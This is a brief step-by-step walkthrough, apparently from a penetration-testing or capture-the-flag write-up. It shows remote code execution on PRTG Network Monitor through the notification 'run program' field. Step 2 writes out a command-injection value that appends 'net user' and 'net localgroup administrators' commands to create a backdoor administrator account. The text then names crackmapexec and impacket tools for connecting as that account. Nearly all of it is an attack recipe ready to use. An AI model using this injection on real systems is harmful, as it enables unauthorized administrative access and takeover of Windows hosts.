Remote code execution

1. Click on setup > accounts settings > add new notification > scroll down and click on run program

2. Put the below code in the EXECUTE PROGRAM field. test.txt; net user prtgadm1 Pwn3d_by_PRTG! /add; net localgroup administrators prtgadm1 /add

3. Save it

4. Now click on "test notification"

5. I can use tool such crackmapexec, impacket-wmiexec, and impacket-psexec to connect. OR

• Use known vulnerabilities to exploit it